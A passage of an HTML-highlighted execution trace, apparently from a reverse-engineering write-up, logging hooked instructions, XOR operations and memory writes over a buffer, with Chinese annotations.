class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000c78: mov esi, <span class="number">0</span>x2b</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000c92: cmp esi, <span class="number">0</span>x57</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f49]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f4a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c8c]</span> MEM<span class="selector-attr">[0x2003f4b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010014e2: mov esi, <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010014fc: cmp esi, <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10014f6]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span 